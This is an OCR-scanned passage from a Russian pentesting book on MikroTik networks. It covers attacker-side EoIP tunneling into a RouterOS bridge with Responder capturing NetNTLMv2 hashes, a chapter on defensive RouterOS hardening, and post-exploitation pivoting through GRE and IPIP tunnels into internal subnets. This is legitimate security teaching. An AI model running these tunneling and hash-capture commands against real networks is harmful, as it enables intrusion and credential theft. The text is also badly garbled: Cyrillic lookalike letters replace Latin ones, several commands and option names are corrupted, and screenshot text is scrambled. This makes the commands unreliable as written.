Discovered ореп port 1583/tcp оп 10.10.140.5
Discovered ореп port 6580/tcp оп 10.10.140.5
Discovered ореп port 3211/tcp оп 10.10.140.5
Discovered ореп port 1124/tcp оп 10.10.140.5
Discovered open port 49400/tcp оп 10.10.140.5
Discovered open port 543/tcp оп 10 .10 .140. 5
Discovered open port 389/tcp on 10.10.140.5
Discovered open port 5904/tcp on 10. 10 .140. 5
Discovered open port 2020/tcp on 10 .10 . 140. 5
Discovered open port 51103/tcp on 10 .10 .140. 5
Discovered open port 2323/tcp on 10. 10 .140. 5
Di scovered open port 61532/tcp оп 10 .10 .140. 5
Discovered open port 19842/tcp оп 10 .10 .140. 5
Discovered open port 3476/tcp on 10 .10 .140. 5
Discovered open port 1086/tcp on 10.10 . 140 . 5
Discovered open port 1011/tcp on 10.10 . 140.5
Discovered open port 1641/tcp on 10.10.140.5
Discovered open port 9ббб/tср on 10.10 . 140.5
Discovered open port 50389/tcp on 10.10 . 140 . 5
Discovered open port 5730/tcp on 10.10.140,5
1
Рис. 7.14. Результат сканирования атакующего поверх GRE
На своей стороне атакующему достаточно собрать модуль из репозитория и запус­
тить интерфейс, при этом создав Т АР-интерфейс для корректной работы модуля от
katlogic (github.com/katlogic/eoip ).
Схема туннелирования будет выглядеть следующим образом (рис. 7 .15).
Атакующий из Интернета может оказаться в целевой сети на уровне L2, но это
крайне специфический сценарий и имеет право на существование только в момент
постэксплуатации.
170
Глава 7
Рис. 7.15. Карта ЕоlР-туннелирования
Настройки на стороне атакующего выглядят следующим образом: создается Т АР­
интерфейс, запускается модуль, туннелю задается 1D 11.
caster@kali:~$ sudo ip tuntap add rnode tap tap0
caster@kali:~$ sudo ip link set tap0 up
caster@kali:~/eo·ip$ sudo ./eoip tap0 100.132.55.100 212.100.144.100:11
На стороне RouterOS идентичная ситуация, но при этом нужно поместить создан­
ный ЕоIР-интерфейс в существующий бридж внутри
RouterOS
для получения
L2-доступа.
[caster@MikroTikNightrnare] /interface/eoip> add narne=nightrnare
local-address=212.100.144.100 rernote-address=l00.132.55.100 tunnel-id=ll
[caster@MikroTikNightrnare] /interface/bridge/port> add 1nterface=nightrnare bridge=LAN-BR
Рис. 7.16. Перехваченный NetNTLMv2-SSP пользователя user
171
Пентестим сетевое оборудование Mikro Тik
Туннель EoIP уже установлен, задача атакующего -
получить адрес на Т АР-интер­
фейсе, после чего он может взаимодействовать с целевой сетью и проводить атаки
канального уровня. Причем по DHCP может передаться адрес шлюза по умолчанию
из другой сети, а это нарушает сетевую связность, так что этот маршрут нужно
будет удалить:
caster@kali:~$ sudo dhclient -v tapO; sudo route del default
Теперь атакующий может проводить L2-атаки. Вот пример работы Responder внут­
ри ЕоIР-туннеля (рис. 7 .16):
caster@kali:~$ sudo responder -I tapO -vvv
Выводы
На этом мы заканчиваем рассмотрение атак на сети на основе оборудования
MikroTik, и в следующей главе поговорим о методах защиты этого оборудования.
ГЛАВА 8
Защищаем оборудование MikroTik
от хакерских атак
Устройства MikroTik можно часто встретить в корпоративных сетях, однако кон­
фиги в большинстве случаев оставляют желать лучшего и открывают возможность
для целого ряда атак. В этой главе я рассмотрю основные концепции сетевой безо­
пасности RouterOS с уклоном в защиту от спуфинга, обработку трафика и атаки на
панели управления.
INFO
Это ни в коем случае не полноценный мануал по безопасности сетей с MikroTik, и на­
оборот - не все из приведенных примеров применимы на другом оборудовании.
Надежно защитить сеть получится, только если понимать всю ее картину и уметь
интегрировать функции безопасности так, чтобы они работали корректно и не
нарушали нормальную работу. В этом и есть сложность сетевой безопасности.
основа любых современных организаций, и к работе с ними нужно подхо­
Сети -
дить осторожно.
Неиспользуемые интерсрейсы
выключать неиспользуемые интерфей­
Одно из главных правил хорошего тона сы. Это снижает вероятность несанкционированного подключения. Соблюсти это
правило очень просто:
[caster@MikroTikDaymare)/interface/ethernet\> set etherX disaЫed=yes
INFO
Все примеры я буду демонстрировать на
RouterOS версии 7, последней на момент
написания главы.
Discovery- протоколы
Disсоvеrу-протоколы (DP) уязвимы к двум оffепsivе-векторам:
Information Gathering - атакующий может извлечь чувствительную информа­
• цию против оборудования, рассылающего DP в свои порты;
□
Глава В
174
□
Neighbor ТаЫе Overflow ~ атакующий может выполнить переполнение таблицы
соседей в контексте протоколов CDP/LLDP, что перегружает процессор устрой­
ства, а это приводит к DoS. Атака основана на создании ложных DР-кадров и
массовой рассылке с прицелом на порт RouterOS.
Лучшая практика -
ограничить работу этих протоколов, т. е. оставить их только на
тех интерфейсах, где это необходимо. Тогда оборудование не будет лишний раз
распространять информацию о себе там, где это не нужно.
[caster@MikroTikDaymare]\> /ip/neighЬor/discovery-settings/set discover-1nterfacelist=\<your interface list\> protocol=cdp,lldp,пmdp
Безопасность Winbox на L2
Winbox может работать на уровне L2, т. е. сетевой инженер может обратиться
к RouterOS, минуя сетевой уровень. За это отвечает именно МАС Winbox Server,
позволяющий подключиться к Winbox без IР-адресации.
По умолчанию МАС Winbox Server доступен на всех интерфейсах, и это нехорошо.
Для повышения безопасности рекомендуется разрешить использовать его только на
определевных интерфейсах.
Пример: я разрешаю МАС Winbox Server только на внутреннем LАN-листе, где на­
ходится LАN-мост для работы внутри сети.
[caster@MikroTikDaymare] /tool/mac-server\> set allowed-interface-list=\<1nterface list\>
Разрешайте МАС Winbox Server там, где вам нужно.
DHCP Snooping
DHCP Snooping - это функция безопасности, которая предотвращает атаку DHCP
Spoofing. Атака работает следующим образом: злоумышленник внутри сети под­
нимает ложный DНСР-сервер для последующей МПМ-атаки. По DHCP может
передаваться адрес шлюза по умолчанию, и этим адресом может быть хост ата­
кующего.
DHCP Snooping работает по принципу довеrенных и недоверенных портов. На не­
доверенных портах будут отслеживаться все DНСР-сообщения. Цель в том, чтобы
проверить, сгенерированы ли они DНСР-сервером. Ведь если в пользовательском
сегменте мы будем видеть сообщения вроде DHCPLEASEQUERY, DHCPOFFER и
DHCPACK, то это однозначно аномалия
и в пользовательской сети находится
DНСР-сервер. На доверенных же портах все DНСР-сообщения будут считаться ле­
гитимными. Обычно доверенные
порты
настраиваются
на соединениях между
коммутаторами и маршрутизаторами, а недоверенные конфигурируются на портах,
куда подключаются конечные станции (например, компьютер, принтер, точки дос­
тупа, VoIP).
Защищаем оборудование Mikro Тik от хакерских атак
175
В RouterOS DHCP Snooping включается именно на bridge, где все порты устройства
уже будут считаться недоверенными. Но чтобы переключить нужный порт, вам
понадобится перейти в настройки самого интерфейса.
DHCP Snooping требует
вдумчивой настройки, в ходе которой нужно будет отталкиваться от особенностей
инфраструктуры.
INFO
В DHCP Snooping может использоваться Option 82. Это возможность протокола DHCP,
которая применяется для оповещения сервера DHCP о том, с какого порта поступил
DНСР-запрос. Также передается информация об использовании DHCP Relay. Некото­
рые специфические сценарии требуют Option 82, так что при необходимости включай­
те ее. На сайте MikroTik есть страница https://wiki.mikrotik.com/wiki/Manual:lnterface/
Bridge#DHCP_Snooping_and_DHCP_Option_82 о настройке Snooping, где учтен сце­
нарий с использованием «Опции 82».
Включаем DHCP Snooping на bridge:
[caster@MikroTikDaymare) \> /interface/bridge/set dhcp-snooping=yes \<your bridge name\>
Назначаем доверенный порт в контексте DHCP Snooping:
[caster@MikroTikDaymare) /interface/bridge/port\> set trusted=yes interface=\<interface\>
bridge=\<your bridge name\> numЬers=\<interface numЬer on bridge\>
На этом конфигурация DHCP Snooping завершена, на недоверенных портах будут
отсекаться служебные DНСР-сообщения, которые обычно используются именно
DНСР-сервером. Поскольку при атаке злоумышленник должен навязать свой адрес
в качестве шлюза сообщением DHCPOFFER, эти настройки помогают полностью
предотвратить ее. Однако будьте осторожны с настройками, чтобы не вызвать не­
преднамеренный DoS.
Настройка срайрвола
Firewall в RouterOS -
это подсистема, которая отвечает за обработку и фильтра­
цию всех пакетов. К настройке файрвола, на мой взгляд, должно быть особое от­
ношение, потому что от нее зависит и производительность устройства, и уровень
безопасности.
Мы не будем здесь подробно рассматривать все возможности файрвола в RouterOS.
Их много, и они могут быть крайне полезными и мощными. Но им посвящено
множество статей и справочных текстов. В журнале «Хакер», к примеру, вы можете
почитать статьи «Стена огня. ·Учимся настраивать файрвол на примере MikroТik»
(https://xakep.ru/2020/05/06/mikrotik-firewall/) и «Стена огня lv\2. Настраиваем
файрвол для отражения атак на примере MikroTik» (https://xakep.ru/2020/06/11/
mikrotik-firewall-lvl2/).
Мы же остановимся только на важных моментах, связанных с защитой от продви­
нутых атак.
Глава 8
176
Корректная обработка трасрика
В RouierOS маршрутизируется весь трафик: используется концепция «разрешено
все, что не запрещено». Трафик обрабатывается сверху вниз по правилам. Лучшей
практикой считается устанавливать в начале настроек файрвола правила в цепочках
INPUT/Forward, которые разрешают соединения EstaЫished/Related и отбрасывают
соединения Invalid. Кстати говоря, именно благодаря механизму Connection
Tracking достигается отслеживание соединений по их состоянию.
[caster@MikroTikDaymare] /ip/firewall/filter> add chain=input action=accept
log=no log-prefix=""
[caster@MikroTikDaymare] /ip/firewall/filter> add chain=input action=drop
connection-state=invalid log=no log-prefix=""
[caster@MikroTikDaymare] /ip/firewall/filter> add chain=forward action=accept
connection-state=estaЫished,related log=no log-prefix=""
[caster@MikroTikDaymare] /ip/firewall/filter> add chain=forward action=drop
connection-state=invalid log=no log-prefix=""
connection-state=estaЬlished,related
Аккуратная работа с ICMP
Также стоит разрешить работу протокола ICMP и при этом с небольшим ограниче­
нием на число пакетов в секунду, чтобы избежать потенциального DDoS по прото­
колу ICMP. Часто весь трафик ICMP блокируют на внешнем периметре, однако это
может повлиять на работу
PMTUD, который помогает бороться с избыточной
фрагментацией при нестандартных значениях MTU.
[caster@MikroTikDaymare] /ip/firewall/filter\> add chain=input action=accept protocol=icmp
in-interface-list=\<WAN _ Interface\> limit=50/5s, 2 :packet log=no log-prefix='"'
ТТL Shift
Если ваше оборудование выступает прокси-сервером и есть необходимость скрыть
его IР-адрес из трассировки, то нужно в таблице Mangle в цепочке PREROUTING
смещать TTL с инкрементом + 1:
[caster@MikroTikDaymare] /ip/firewall/rnangle> add chain=prerouting action=change-ttl
new-ttl=incrernent:1 passthrough=yes in-interface=\<internal_interface_for_ttl_shift\>
log=no log-prefix=""
Риск DNS-cpлyдa
Следите за тем, чтобы наружу не торчал порт протокола DNS, на который может
прилететь потенциальный DDoS. Нередко случается так, что именно по DNS при­
ходит DDoS-aтaкa на MikroTik. Очень часто бывает, что в настройках DNS на
MikroTik стоит флажок Allow Remote Requests, который позволяет RouterOS быть
DNS-cepвepoм. Обычно это встречается для внутренней инфраструктуры, но порт
может торчать и на внешнем интерфейсе, смотрящем в сторону Интернета.
Защищаем обоеrдование MikroТik от хакерских атак
177
Drop AII Other
В конце списка правил файрвола всегда должен стоять запрет Drop All Other для
внешнего интерфейса RouterOS (того, который смотрит именно в сторону Интерне­
та;
RouterOS не различает внутренние и внешние интерфейсы). Оно будет запре­
щать все неразрешенные подключения к маршрутизатору, однако позаботьтесь
о том, чтобы сверху были все необходимые правила для ваших протоколов, тогда
финальное правило не будет нарушать сетевую связность. Правило Drop All Other
должно идти в конце списка правил абсолютно любого файрвола.
[caster@MikroTikDaymare] /ip/firewall/filter\> add chain=input action=drop
in-interface=\<WAN_Interface\> log=no log-prefix=""
Динамическая маршрутизация
Безопасность протоколов динамической маршрутизации (Dynamic Routing Protoco\s, DRP) имеет особое значение, поскольку малейшее воздействие на AS частично
парализует внутреннюю сеть. К тому же на домен динамической маршрутизации
возможны различные атаки, к которым нужно быть готовым. Дальше речь пойдет
о безопасности именно протокола OSPF (Open Shortest Path First), который поддер­
живается RouterOS.
ТТ ассивные интерсрейсы
Настройка пассивных интерфейсов для динамической маршрутизации позволяет
роутеру запретить рассылку Qбъявлений чер~з некоторые интерфейсы. По умолча­
нию без настройки пассивных интерфейсов он рассылает объявления во все интер­
фейсы, а это подвергает домен маршрутизации большому риску.
Ниже параметр passi ve указывает на пассивный интерфейс.
[caster@MikroTikDaymare] /routing/ospf/interface-tenq:>late\> add interfaces=\<interface\>
passive area=backЬone
КриптограсрическОJ1 аутентисрикациS1
Применение аутентификации в доменах маршрутизации позволяет сделать так,
чтобы подключаться к ним могли только авторизованные маршрутизаторы. Однако
аутентификация настраивается с помощью паролей. Так что обязательно нужно
позаботиться о том, чтобы эти пароли были доста:rочно стойкими. Если злоумыш­
ленник получит значение хеша из дампа трафика, то он может попытаться вскрыть
пароль перебором. А с паролем он уже без труда подключится к домену маршрути­
зации.
Настройка ниже использует SНА-384. Кстати говоря,
Ettercap сможет выдернуть
любой MDS/SHA-xeш, что даст атакующему возможность попробовать сбрутить
пароль от домена OSPF. Опять же следите за стойкостью парольной фразы.
178
Глава 8
[caster@MikroTikDayrnare] /routing/ospf/interface-template\> set auth=sha384
auth-key=\<auth_key\> auth-id=\<auth_id\> numЬers=X
Безопасность системы резервирования VRRP
Безопасность системы горячего резервирования
VRRP может быть под угрозой,
т. к. а~акующий может провести FНRP Маstеr-спуфинг и МIТМ-атаку. Ввиду осо­
бенностей работы
VRRP здесь невозможно установить приоритет 255, поэтому
придется действовать более жестко. Есть два действенных способа.
Способ первый- криптографическая аутентификация. Она защищает домен VRRP
с помощью специальной парольной фразы, не зная которую атакующий не прове­
дет спуфинг. Опять же нужно позаботиться, чтобы ключ аутентификации был
устойчив к брутфорсу. В
R.outerOS для защиты VRRP используется протокол из
репертуара IPSec АН. Уточнив у разработчиков RouterOS, я узнал, что его реа­
лизация в RouterOS основана на HMAC-MD5.
[caster@MikroTikDayrnare] /interface/vrrp\> add interface=\<interface\>
priority=\<priority_value\> version=2 vrid=\<group~id_numЬer\> authentication=
ah password<auth_key\>
Второй способ -
фильтрация средствами файрвола. Для VRRPvЗ аутентификация
больше не поддерживается, однако с этим нужно тоже что-то делать. С помощью
таблиц мangle и Raw можно заранее разрешить VRRP с легитимных VRRР-маршру­
тизаторов, а затем блокировать остальные VRRР-пакеты. Этот вариант даст наи­
меньшую нагрузку на процессор. Получится, что в разрешаемых правилах нет
адреса атакующего хоста, поэтому любые его попытки провести атаку на домен
VRRP будут тщетны.
•
•
[caster@MikroTikDaymare] /ip/firewall/mangle\> add chain=prerouting action=accept
protocol=vrrp src-address=\<first_vrrp_speaker_ip\> in-interface=\<interface\> log=no
log-prefix=""
[caster@MikroTikDayrnare] /ip/firewall/mangle\> add chain=prerouting action=accept
protocol=vrrp src-address=\<second_vrrp_speaker_ip\> in-interface=\<interface\> log=no
log-prefix='"'
[caster@MikroTikDaymare] /ip/firewall/raw\> add chain=prerouting action=drop
in-interface=\<interface\> log=no log-prefix="" protocol=vrrp
Проблема псевдобалансировки
VRRP, конечно, обеспечивает отказоустойчивость, однако по факту в логической
группе работает только один маршрутизатор, когда остальные пребывают в режиме
ожидания.
Если в вашей сети несколько устройств с RouterOS и несколько сегментов VLAN,
вы можете задействовать все RouterOS в сети, например:
Защищаем оборудование Mikro Тik от хакерских атак
□
179
RouterOSI будет МASTER за VLAN 120 и VLAN 140, а за VLAN 180 и VLAN 220
он будет BACIOJP;
□
RouterOS2 будет МASTER за VLAN 180 и VLAN 220, за VLAN 120 и VLAN 140 он
будет BACKUP. То есть конфигурация зеркальна RouterOSl.
Этот прием называется псевдобалансировкой. Конечно, тут нет того же round robin,
но хотя бы все роутеры в домене
тет 200, для BACKUP -
VRRP будут работать. Для МASTER - приори­
90. Цифры и VLAN ID я взял из головы для симуляции такого
сценария,
Настраиваем RouterOS 1:
[caster@RouterOSl] /interface/vrrp\> add interface=vlanl20 name=vrrpl20 priority=
254 vrid=l20
[caster@RouterOSl] /interface/vrrp\> add interface=vlanl40 name=vrrpl40
priority=254 vrid=l40
[caster@RouterOSl] /interface/vrrp\> add interface=vlanlBO name=vrrplBO preemption-mode=
no priority=90 vrid=lBO
[caster@RouterOSl] /interface/vrrp\> add 1nterface=vlan220 name=vrrp220 preemption-mode=
no priority=90 vr1d=220
И RouterOS2:
[caster@Router0S2] -/interface/vrrp\> add interface=vlanl20 name=vrrpl20 preemption-mode=
no priority=90 vrid=120
[caster@Router0S2] /interface/vrrp\> add interface=vlanl40 name=vrrpl40 preemption-mode=
no priority=90 vrid=l40
[caster@Router0S2] /1nterface/vrrp\> add interface=vlanlBO name=vrrplBO
priority=254 vrid=lBO
[caster@Router0S2] /interface/vrrp\> add interface=vlan220 name=vrrp220
priority=2S4 vrid=220
Таким образом возникает псевдобалансировка. Два RouterOS настроены зеркально,
они оба готовы к замене вышедшего из строя MASTER-poyтepa. При этом задейст­
вуются все мощности внутри сегмента, второстепенное оборудование не будет про­
стаивать. Также учитывайте, что в RouterOS РRЕЕМРТ-режим включен по умолча­
нию, он позволяет упавшему ранее MASTER-poyтepy вернуть себе эту роль, когда
его
заменил
один
из
ВАСКUР-роутеров.
Для
бэкап-роутеров,
соответственно,
PREEMPT выключается.
Безопасность дерева STP
STP (Spanning Tree Protocol)- это L2-протокол, защищающий компьютерную сеть
от широковещательных штормов путем блокировки избыточных физических со­
единений. Дело в том, что у Ethernet-кaдpoв нет поля TTL, и широковещательный
трафик будет бесконечно бегать по канальным соединениям, если возникнет ком­
мутационная петля. Протокол работает исключительно на канальном уровне, и для
общения используются фреймы BPDU 802.3. Обычно на управляемых коммутато­
рах STP включен по умолчанию.
180
Глава 8
Однако атакующий
может отправить
в сторону коммутатора
STP ВРDU-кадр
с наименьшим значением приоритета, что даст ему шанс перехватить роль корне­
вого коммутатора. Такой ход событий приводит либо к частичной МIТМ-атаке,
либо к DoS.
Защититься от спуфинга в дереве STP можно при помощи BPDU Guard. Этот меха­
низм будет блокировать порт, если на него придет ВРDU-кадр, который обычно
используется только для согласования между коммутаторами в домене STP. Имен­
но благодаря рассылке
BPDU с наименьшим значением приоритета атакующий
может перехватить роль корневого коммутатора, тем самым осуществив частичную
МIТМ-атаку.
BPDU Guard настраивается именно на портах, которые находятся под мостом.
[caster@MikroTikDayrnare] /interface/bridge/port\> set bpdu-guard=yes
interface=\<interface\> bridge=\<bridge\> numЬers=X
Вот и вся настройка. BPDU Guard в этом плане не доставляет хлопот.
Осторожность при выборе SТР Root
Корневым коммутатором STP обычно становится коммутатор с наименьшим МАС­
адресом. Вы должны учитывать этот аспект, потому что, есля корневым ком­
мутатором станет какой-нибудь старый D-Link, это может сказаться на производи­
тельности сети. Также бывают случаи, когда по STP блокируются линки, идущие
в сторону маршрутизаторов FHRP Master, тогда трафик может начать идти не по
оптимальному пути. Настраивайте коммутатор
STP Root (и STP Root Secondary)
с учетом особенностей инфраструктуры.
Безопасность панели управления (MGMT)
Защита RMI
MGMT -
это специальные интерфейсы управления, которые позволяют настраи­
вать устройство. В RouterOS для этого используются следующие службы:
□
Telnet (ТСР/23);
□
API (ТСР/8728);
□
API-SSL (ТСР/8729);
□
SSH (ТСР/22);
□ НТТР (ТСР/80);
□
HTTPS (ТСР/443);
□
Winbox (ТСР/8291).
Для панелей управления необходимо установить ограничение: доступ только из
администраторской
подсети.
Это позволяет предотвратить попытки брутфорса
Защищаем оборудование MikroТik от хакерских атак
181
учетных данных из остальных подсетей, т. к. все подключения из других сетей
будут отброшены.
[caster@MikroTikDaymare] /ip/service\> set address=\<MGMT SuЬnet Address/24\>
\<protocol_name\>
Однако даже в администраторской подсети есть вероятность брутфорса, если один
из компьютеров администратора будет заражен трояном. На этот случай можно
дополнительно усилить защиту следующим образом:
□ добавить цепочки правил для предотвращения брутфорса в таблицы
Mangle/
Raw;
□ использовать только протокол SSH и аутентификацию по ключу;
□ сменить номера портов (это, конечно, не полная мера безопасности, но может
усложнить поиск порта управления оборудованием);
□ если не используются API/ API-SSL, то их лучше выключить, по ним тоже воз­
можен брутфорс.
Защита учетных записей на оборудовании
На своем оборудовании придерживайтесь концепции наименьших привилегий, не
разбрасывайтесь full-учетками на железе и следите, какому инженеру какой доступ
к оборудованию предоставлен и какие имеются возможности для настройки. Также
для оптимизации управления учетками можно поднять АЛА-сервер, где учетные
записи будут храниться централизованно и ими легко будет управлять.
Выводы
На этом глава подходит к концу. Это не полный мануал по безопасности MikroТik,
однако я старался акцентировать внимание на критических механизмах безопасно­
сти, к которым должно быть особое отношение в корпоративных сетях. Именно
неверные настройки безопасности внутри сети создают большее число проблем.
Полагаю, так происходит из-за халатности сетевых инженеров. Оно и понятно:
сети, бывает, не меняются десятилетиями, и об отсутствии нужных настроек просто
забывают.
Системы RouterOS и Switch OS, которые используются в оборудовании MikroTik,
тоже еще далеки от идеала. В них отсутствуют такие механизмы, как
DAI, RA
Guard, SAVI, Port Security. Продукты MikroТik очень популярны, однако у их раз­
работчиков есть еще огромное поле для деятельност-и.
ГЛАВА 9
Используем провайдерские протоколы
для пивотинга
В современном стеке протоколов TCP/IP есть множество протоколов туннелирова­
ния. Обычно они используются для расширения сетей продакшена, построения ин­
фраструктуры. Но в моем исследовании я буду использовать их как пентестерский
инструмент.
Pivoting -
это комплекс мероприятий, в рамках которого атакующий расширяет
свое присутствие в сети. Пивотинг -
это часть постэксплуатации, т. е. действий
после получения первичного доступа к системе. Существует множество способов
пивотинга, но в этой главе речь пойдет именно о протоколах туннелирования, т. е.
о сценарии, где атакующий продвигается по сети с помощью технологий туннели­
рования. В этой главе я продемонстрирую пивотинг на уровнях L2 и LЗ.
Все эти методики скорее экзотические, однако я покажу, в каких случаях их можно
использовать в сетях продакшена. Учтите, что описанные техники требуют именно
прав администратора на скомпрометированных машинах, т. к. без этого не полу­
чится напрямую взаимодействовать с сетевыми интерфейсами и настройками тун­
нелей.
TUN vs ТАР
Для туннельного пивотинrа используются специальные виртуальные сетевые драй­
веры. Различают два вида VРN-интерфейсов:
□
TUN -
виртуальный сетевой драйвер, который используется для построения
LЗ-туннелей. Работает на сетевом уровне, оперируя IР-пакетами;
□ Т АР -
виртуальный сетевой драйвер, который эмулирует Ethemet. Работает на
канальном уровне, оперируя Еthеmеt-кадрами.
Если атакующий стремится перемещаться по подсетям во время пивотинrа, скорее
всего, он будет использовать драйвер
TUN, однако, если атакующий нуждается
в проведении атак канального уровня, ему необходим именно Т АР-интерфейс,
L2-туннель. Пентестер может спросить: «А почему у меня не работает Responder?
Туннель же есть». Но на практике не все так просто, и необходимо учитывать свои
Глава 9
184
потребности в плане проведения атак. Оба этих драйвера будут участвовать здесь
на протяжении всей главы.
Осторожность
при адресации Т АР-интерсрейсе
При работе с целевой сетью через Т АР будьте осторожны с получением адреса на
Т АР-интерфейс с помощью DHCP. По DHCP может прилететь новая информация
о шлюзе по умолчанию, что иногда приводит к разрыву сетевой связности. Как
только вы запустите dhclient, второй командой удаляйте новый маршрут по умол­
чанию:
sudo dhclient -v tap0; sudo route del default
GRE (LЗ)
GRE (Generic Routing Encapsulation) - одно из самых популярных решений при
построении туннелей site-to-site между органи~ациями. Это самостоятельный про­
токол, имеющий собственный заголовок и не опирающийся на TCP/UDP. Разрабо­
тан инженерами Cisco, но поддерживается всеми вендорами. Его главный принцип
работы это инкапсуляция полезной нагрузки, позволяющая достичь адресата.
В основе GRE лежат три сущности:
□ GRЕ-заголовок -
содержит разные параметры и идентификатор инкапсулируе­
мого протокола;
□ Dе\ivеrу-заголовок -
содержит адреса источника и назначения, при этом ис­
пользуются публичные адреса из Интернета (согласно конфигурации на погра­
ничных маршрутизаторах), по факту выполняет функцию доставки данных;
□ пассажир -
непосредственно сами данные.
GRE можно использовать как инструмент пивотинга, позволяющий атакующему
получить доступ к подсети на уровне LЗ. Целевыми устройствами могут быть:
□ пограничный маршрутизатор (например, Cisco IOS или RouterOS);
□ взломанный сервер на Linux.
Я покажу пример именно с пограничным роутером Cisco, хотя сама концепция на­
стрОЙI\.И GRE глобально не меняется. Дизайн лабораторной сети для демонстрации
техник -
на диаграмме ниже (рис. 9 .1 ).
Это простой пример для демонстрации. Атакующий и пограничный роутер здесь
имеют «белые» адреса, а за самим роутером находятся три VLАN-сегмента:
□ 10.10.200.0/24;
□ 10.10.220.0/24;
□ 10.10.240.0/24.
Используем провайдерские протоколы для пивотинга
185
Рис. 9.1. Лабораторная сеть
В этом сценарии атакующий построит GRЕ-туннель между собой и пограничным
роутером, а затем сквозь сам роутер поверх GRЕ-туннеля сможет взаимодейство­
вать с тремя сегментами и расширить свое присутствие в сети.
Настройка на стороне атакующего (я выбрал Kali Linux) выглядит следующим
образом:
sudo ip link add name gretunnel type gre local 218.123.134.80 remote 128.78.23.45
sudo ip addr add 10.10.10.1/24 dev gretunnel
sudo ip link set dev gretunnel up
Обратите внимание на адресацию 10.10.10.0/24. Это внутренняя адресация в GRЕ­
туннеле, нужная для его корректной работы.
Теперь настраиваем пограничный роутер Cisco:
NightmareBorder# conf t
NightmareBorder(config)# interface tunnel 10
NightrnareBorder(config-if)# tunnel source 128.78.23.45
NightmareBorder(config-if)# tunnel destination 218.123.134.80
NightrnareBorder(config-if)# ip address 10.10.10.2 255.255.255.0
NightmareBorder(config-if)# по shutdown
NightrnareBorder(config-if)# end
NightmareBorder# write mem
GRЕ-туннель активен (рис. 9.2), теперь самое время прописать маршруты до целе­
вых сегментов. Атакующий, оказавшись на пограничном роутере (сценарий пост­
эксплуатации ), может сам изучить таблицу маршрутизации и узнать, до каких сег­
ментов ему писать маршруты. В лабораторной сети этих сегментов три:
□
sudo route add -net 10.10.200.0 netmask 255.255.255.0 gw 10.10.10.2
□
sudo route add -net 10.10.220.0 netmask 255.255.255.0 gw 10.10.10.2
□
sudo route add -net 10.10.240.0 netmask 255.255.255.0 gw 10.10.10.2
Шлюзом для этих подсетей выступает удаленная сторона GRЕ-туннеля (10.10.10.2),
т. е. мы таким образом прописываем маршруты сквозь пограничный роутер, как и
186
Глава 9
П
caster@kali: -
cast~rBkali : - $ p1ng 10.10.10.2
PING 10.10.10.2 (10.10.10.2) 56(84) bytes of data.
64 bytes f1·om 10.10.10.2: icmp_seq=1 ttl =2SS time=B.32 ms
64 bytes from 10.10.10.2: icmp_seq =2 ttl =2SS time=6.37 ms
64 bytes from 10.10.10.2: icmp_ seq = З ttl =2SS time=9,49 ms
64 bytes from 10.10.10.2: icmp_seq =4 ttl=2SS time=6.09 ms
64 bytes f1·om 10.10.10.2: icmp_seq =S ttl =2SS time=6.26 ms
Рис. 9.2. Работоспособность GRЕ-туннеля, пинг в сторону Cisco IOS
предполагалось в сценарии. После настройки маршрутов атакующий может взаи­
модействовать с этими сегментами и развивать новые векторы атак.
Как мы видим, ТСР-сеrменты достигают целевой сети 10 .10. 200. 0/24, на скриншоте
вы также можете заметить заголовок GRE, благодаря которому и работает пивотинr
(рис. 9.3).
781 ЗЕ\.843
782 Эе. 84661
783 30 , 849087
7
788 30. 854 706
789
Рис. 9.3. Процесс ТСР-сканирования внутри туннеля GRE
IPIP (LЗ)
IPIP (IP in IP)- туннель сетевого уровня LЗ. он очень похож на nротокол GRE. но
сама инкапсуляция происходит во второй IР-заголовок. Такой туннель прост в экс­
плуатации и работает в режиме «IP over IP». С помощью
IPIP атакующий также
Используем провайдерские протоколы для пивотинга
187
может построить LЗ-туннель сквозь взломанный хает. В сценарии с
I PI Р цсш,ю
будет взломанный сервер на DeЬian. Предположим, что на той же машине есть вто­
рой интерфейс с адресацией 192.168.252.0/24 (Warehouse, рис . 9.4) .
(i].
.
Рис. 9.4. Схема сети
Настройка атакующей машины для IPIP выглядит следующим образом. -щесь ниче­
го экстраординарного:
sudo ip link add narne ipiptunnel type ipip local 218.123.134.80 remote 128.7 8 . 23 . ~';
sudo ip addr add 10.10 . 10.1/24 dev ipiptunnel
sudo ip link set dev ipiptunnel up
На взломанном сервере с DeЬian настройка такая же, но наоборот:
sudo ip link add narne ipiptunnel type ipip l oca l 128. 78.23.45 remote 21 8. 123 . 134 . f0C:
sudo ip addr add 10.10.10.2/24 dev ipiptunnel
sudo ip link set dev ipiptunnel up
Теперь IРIР-туннель между атакующим и взломанным сервером становится актив­
ным, и атакующий сможет развивать атаки на сеть 192 . 168 . 252 . О/2 4
(Warel10t1se):
sudo route add -net 192.168.252.0 netmask 255.255.255.0 gw 10.10.10.2
.. ~ ~
•ethO
Ftlf'
Ed1t
V1t.>W
LJ □ tf@
'8 r
Gt')
Cupture
An&lyze
г.:ili~~
Telephony
Stat1sltrs
Ц<- ➔
-~--
Wireli>ss
.. ~
Tools Help
f\•~ ➔• 1! ■
01:10111
-,
-~ - -- - -
- --No
Тime
527 46. 280522.
528 46. 280538.
529 46. 288558
530 46. 283225
531 46. 285828
532 46. 286815
533 48. 288165
534 46. 286285
Sour1;e
D@st1nJitюn
Protocol
10. 1е.1е.1
192 168.252 , б
192.168 . 252 7
192 .168 . 252. 8
192 . 188 , 252 , 7
192,168 . 252 1
192.168 . 252.2
192 .168 . 252 3
192,168 252.4
ТСР
1е.1е.1е.1
10.1е.1е.1
18. 1е . 1е . 1
18.10.18,1
18.18 . 10.1
10.10 . 10.1
10.10 . 10.1
ТСР
ТСР
ТСР
ТСР
ТСР
ТСР
ТСР
lмgth
•
lnfo
78 52&bl l , 21 (SYNJ ~
8 5~tHl
21 [SYN ) S
21 [SYNJ
78 52681
135 [SYN]
78 52679
135 [SYN]
78 52681
53 [SYN)
78 52681
256 [SYN)78 52881
53 [SYN]
78 52681
:.,.
536 46, 286491.
537 46. 28ese9.
538 46, 286549
539 4б. 289815
.,
ТСР
1е.1е.1е . 1
1е .1е.1е.1
1е .1е. 1е.1
192 .168. 252. 7
192.168 , 252 .зз
192 .168, 252. 8
192 168. 252 .1
19;: 168. 252 .1
192 . 168 , 252 . 2
ТСР
ТСР
ТСР
ТСР
ТСР
78 52681
78 52581
78 52579
78 52681
,-
5 3 [SYN]
53 [SYN]
➔ 143 [SYN]
53 [SYN]
➔
1723 [SYN
:43 [SYN]
1723 ($У
Рис. 9.5. ТСР-сканирование внутри IРIР-туннеля
~· :
~~~
Глава 9
188
Как видно на рис. 9.5, полезная нагрузка при ТСР-сканировании при помощи Nmap
